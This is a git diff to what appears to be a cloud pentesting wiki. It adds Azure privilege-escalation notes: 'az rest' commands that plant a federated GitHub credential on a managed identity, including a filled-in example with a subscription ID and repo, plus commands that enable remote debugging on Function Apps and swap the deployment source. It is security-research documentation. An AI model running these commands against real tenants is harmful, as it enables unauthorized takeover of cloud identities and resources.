diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index 8a6e79d19e..804536dc31 100644 --- a/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -83,6 +83,28 @@ az role assignment create --assignee "" --role "Owner" --scope "/" ``` {% endcode %} +### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write + +This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**. + +Example command to give access to a repo in Github to the a managed identity: + +{% code overflow="wrap" %} +```bash +# Generic example: +az rest --method PUT \ + --uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ + --headers "Content-Type=application/json" \ + --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' + +# Example with specific data: +az rest --method PUT \ + --uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ + --headers "Content-Type=application/json" \ + --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' +``` +{% endcode %} + {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 05a14d7fc8..23d6367311 100644 --- a/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -433,7 +433,7 @@ az functionapp config appsettings set \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -It's also possible to see if a funciton is enabled or disabled in the following URL (using the permision in parenthesis): +It's also possible to see if a function is enabled or disabled in the following URL (using the permission in parenthesis): {% code overflow="wrap" %} ```bash @@ -441,6 +441,43 @@ az rest --url "https://management.azure.com/subscriptions//res ``` {% endcode %} +### Remote Debugging + +It's also possible to connect to debug a running Azure function as [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). However, by default Azure will turn this option to off in 2 days in case the developer forgets to avoid leaving vulnerable configurations. + +It's possible to check if a Function has debugging enabled with: + +```bash +az functionapp show --name --resource-group +``` + +Having the permission `Microsoft.Web/sites/config/write` it's also possible to put a function in debugging mode (the following command also requires the permissions `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` and `Microsoft.Web/sites/Read`). + +{% code overflow="wrap" %} +```bash +az functionapp config set --remote-debugging-enabled=True --name --resource-group +``` +{% endcode %} + +### Change Github repo + +I tried changing the Github repo from where the deploying is occurring by executing the following commands but even if it did change, **the new code was not loaded** (probably because it's expecting the Github Action to update the code).\ +Moreover, the **managed identity federated credential wasn't updated** allowing the new repository, so it looks like this isn't very useful. + +```bash +# Remove current +az functionapp deployment source delete \ + --name funcGithub \ + --resource-group Resource_Group_1 + +# Load new public repo +az functionapp deployment source config \ + --name funcGithub \ + --resource-group Resource_Group_1 \ + --repo-url "https://github.com/orgname/azure_func3" \ + --branch main --github-action true +``` + {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/pentesting-cloud/azure-security/az-services/az-function-apps.md b/pentesting-cloud/azure-security/az-services/az-function-apps.md index 3162ee9625..5c5c73e70f 100644 --- a/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -50,7 +50,7 @@ It's also possible to find the **master and functions keys** stored in the stora This is very interesting from an attackers perspective as it might be possible to **pivot to internal networks** from a vulnerable Lambda function exposed to the Internet. {% endhint %} -### **Environment Variables** +### **Function App Settings & Environment Variables** it's possible to configure environment variables inside an app. Moreover, by default the env variables **`AzureWebJobsStorage`** and **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (among others) are created. These are specially interesting because they **contain the account key to control with FULL permissions the storage account containing the data of the application**. @@ -94,6 +94,105 @@ Example to access a function API endpoint using a key: `https://.azurewebsites.net/api/?code=` {% endhint %} +### Github Based Deployments + +When a function is generated from a Github repo Azure web console allows to **automatically create a Github Workflow in a specific repository** so whenever this repository is updated the code of the function is updated. Actually the Github Action yaml for a python function looks like this: + +
+ +Github Action Yaml + +```yaml +# Docs for the Azure Web Apps Deploy action: https://github.com/azure/functions-action +# More GitHub Actions for Azure: https://github.com/Azure/actions +# More info on Python, GitHub Actions, and Azure Functions: https://aka.ms/python-webapps-actions + +name: Build and deploy Python project to Azure Function App - funcGithub + +on: + push: + branches: + - main + workflow_dispatch: + +env: + AZURE_FUNCTIONAPP_PACKAGE_PATH: '.' # set this to the path to your web app project, defaults to the repository root + PYTHON_VERSION: '3.11' # set this to the python version to use (supports 3.6, 3.7, 3.8) + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Setup Python version + uses: actions/setup-python@v5 + with: + python-version: ${{ env.PYTHON_VERSION }} + + - name: Create and start virtual environment + run: | + python -m venv venv + source venv/bin/activate + + - name: Install dependencies + run: pip install -r requirements.txt + + # Optional: Add step to run tests here + + - name: Zip artifact for deployment + run: zip release.zip ./* -r + + - name: Upload artifact for deployment job + uses: actions/upload-artifact@v4 + with: + name: python-app + path: | + release.zip + !venv/ + + deploy: + runs-on: ubuntu-latest + needs: build + + permissions: + id-token: write #This is required for requesting the JWT + + steps: + - name: Download artifact from build job + uses: actions/download-artifact@v4 + with: + name: python-app + + - name: Unzip artifact for deployment + run: unzip release.zip + + - name: Login to Azure + uses: azure/login@v2 + with: + client-id: ${{ secrets.AZUREAPPSERVICE_CLIENTID_6C3396368D954957BC58E4C788D37FD1 }} + tenant-id: ${{ secrets.AZUREAPPSERVICE_TENANTID_7E50AEF6222E4C3DA9272D27FB169CCD }} + subscription-id: ${{ secrets.AZUREAPPSERVICE_SUBSCRIPTIONID_905358F484A74277BDC20978459F26F4 }} + + - name: 'Deploy to Azure Functions' + uses: Azure/functions-action@v1 + id: deploy-to-function + with: + app-name: 'funcGithub' + slot-name: 'Production' + package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }} + +``` + +
+ +Moreover, a **Managed Identity** is also created so the Github Action from the repository will be able to login into Azure with it. This is done by generating a Federated credential over the **Managed Identity** allowing the **Issuer** `https://token.actions.githubusercontent.com` and the **Subject Identifier** `repo:/:ref:refs/heads/`. + +{% hint style="danger" %} +Therefore, anyone compromising that repo will be able to compromise the function and the Managed Identities attached to it. +{% endhint %} + ## Enumeration {% code overflow="wrap" %} @@ -103,6 +202,11 @@ az functionapp list # Get info of 1 funciton (although in the list you already get this info) az functionapp show --name --resource-group + +# Get details about the source of the function code +az functionapp deployment source show \ + --name \ + --resource-group # Get settings (and privesc to the sorage account) az functionapp config appsettings list --name --resource-group